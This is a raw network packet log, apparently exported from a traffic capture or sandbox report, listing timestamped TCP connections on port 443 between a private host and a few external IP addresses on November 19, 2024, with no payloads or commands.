Nov 19, 2024 19:15:39.525471926 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.525692940 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.525763988 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.525929928 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.525954008 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.525964975 CET	50082	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.525971889 CET	443	50082	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.530097961 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.530152082 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.530230045 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.530581951 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.530599117 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.715045929 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.715610027 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.715672016 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.716195107 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.716208935 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.744822025 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.745312929 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.745362997 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.745791912 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.745805979 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.832899094 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.832926035 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.833015919 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.833079100 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.833223104 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.833259106 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.833285093 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.833416939 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.833447933 CET	443	50084	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.833530903 CET	50084	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.836193085 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.836235046 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.836500883 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.836663961 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.836672068 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.844877958 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.845012903 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.845082998 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.845082998 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.845169067 CET	50083	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.845201015 CET	443	50083	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.847678900 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.847708941 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:39.847898960 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.848062038 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:39.848073959 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.081758022 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.082391977 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.082457066 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.083108902 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.083132029 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.142813921 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.143385887 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.143438101 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.143851995 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.143867970 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.161011934 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.161505938 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.161555052 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.161900043 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.161914110 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.189156055 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.189421892 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.189507961 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.189591885 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.189591885 CET	50085	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.189639091 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.189671040 CET	443	50085	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.192549944 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.192599058 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.192930937 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.193103075 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.193115950 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.242523909 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.242543936 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.242616892 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.242685080 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.242933035 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.242933035 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.242969036 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.243175030 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.243204117 CET	443	50086	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.243268013 CET	50086	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.246155024 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.246206045 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.246278048 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.246438026 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.246457100 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.260711908 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.260735035 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.260813951 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.260852098 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.261063099 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.261085987 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.261105061 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.261111975 CET	50087	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.261157036 CET	443	50087	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.264170885 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.264208078 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.264309883 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.264489889 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.264498949 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.474953890 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.475455999 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.475471973 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.475991011 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.475996971 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.508414030 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.508912086 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.508941889 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.509397984 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.509404898 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.574968100 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.574992895 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.575145006 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.575541019 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.575596094 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.576699018 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.576719046 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.576730967 CET	50088	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.576735973 CET	443	50088	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.580169916 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.580214977 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.580496073 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.580496073 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.580524921 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.622865915 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.622930050 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.622997999 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.623018980 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.623146057 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.623867035 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.623897076 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.623913050 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.623922110 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.623941898 CET	50089	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.623945951 CET	443	50089	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.627146959 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.627185106 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.627357006 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.627712965 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.627723932 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.859337091 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.859822989 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.859833956 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.860343933 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.860347986 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.891958952 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.892462015 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.892492056 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.892961025 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.892967939 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.898009062 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.898339987 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.898353100 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.898752928 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.898770094 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.961220026 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.961317062 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.961549044 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.961608887 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.961627960 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.961642027 CET	50090	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.961652994 CET	443	50090	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.964315891 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.964376926 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.964624882 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.964771032 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.964785099 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.993021011 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.993134022 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.993299007 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.993339062 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.993366957 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.993381977 CET	50091	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.993388891 CET	443	50091	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.996316910 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.996344090 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.996480942 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.996645927 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.996666908 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.998488903 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.998549938 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.998706102 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.998811007 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.998830080 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:40.998837948 CET	50092	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:40.998845100 CET	443	50092	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.001394033 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.001427889 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.001601934 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.001770020 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.001785040 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.002702951 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:41.002846003 CET	443	50030	142.250.186.68	192.168.2.4
Nov 19, 2024 19:15:41.002938032 CET	50030	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:15:41.242161989 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.242789030 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.242816925 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.243227959 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.243232965 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.290004015 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.290623903 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.290653944 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.291106939 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.291124105 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.346096992 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.346446991 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.346559048 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.346798897 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.346798897 CET	50093	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.346820116 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.346831083 CET	443	50093	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.349503994 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.349534035 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.349611044 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.349827051 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.349832058 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.397512913 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.397530079 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.397594929 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.397644997 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.397694111 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.398108959 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.398108959 CET	50094	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.398133039 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.398148060 CET	443	50094	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.401413918 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.401460886 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.401546955 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.402206898 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.402221918 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.604198933 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.605004072 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.605034113 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.605743885 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.605751038 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.633888006 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.634373903 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.634392977 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.634979010 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.634989977 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.640922070 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.641309977 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.641326904 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.641942024 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.641947031 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.707403898 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.707432985 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.707518101 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.707555056 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.707711935 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.725188017 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.725230932 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.725256920 CET	50095	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.725265026 CET	443	50095	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.728534937 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.728562117 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.728782892 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.728951931 CET	50100	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.728961945 CET	443	50100	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.738508940 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.738538027 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.738560915 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.738667965 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.738691092 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.738749981 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.741803885 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.741827011 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.741889000 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.741909981 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.742100954 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.742152929 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.777184963 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.777221918 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.777237892 CET	50097	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.777245045 CET	443	50097	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.812489986 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.812535048 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.812661886 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.813198090 CET	50101	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.813210011 CET	443	50101	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.822716951 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.822789907 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.822812080 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.822829962 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.822887897 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.822984934 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.823007107 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.823038101 CET	50096	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.823045969 CET	443	50096	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.827430010 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.827466011 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.827625036 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.827845097 CET	50102	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.827856064 CET	443	50102	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.989257097 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.994779110 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.994808912 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:41.995249987 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:41.995258093 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.095370054 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.095402956 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.095419884 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.095454931 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.095469952 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.095483065 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.095504045 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.145778894 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.146296978 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.146305084 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.146856070 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.146859884 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.181727886 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.181785107 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.181818008 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.181823969 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.181865931 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.181902885 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.182008028 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.182024002 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.182035923 CET	50098	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.182041883 CET	443	50098	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.184838057 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.184876919 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.184979916 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.185292959 CET	50103	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.185302973 CET	443	50103	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.248209953 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.248234034 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.248294115 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.248308897 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.248330116 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.248370886 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.248661041 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.248675108 CET	443	50099	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:42.248697042 CET	50099	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:42.248702049 CET	443	50099	13.107.246.45	192.168.2.4
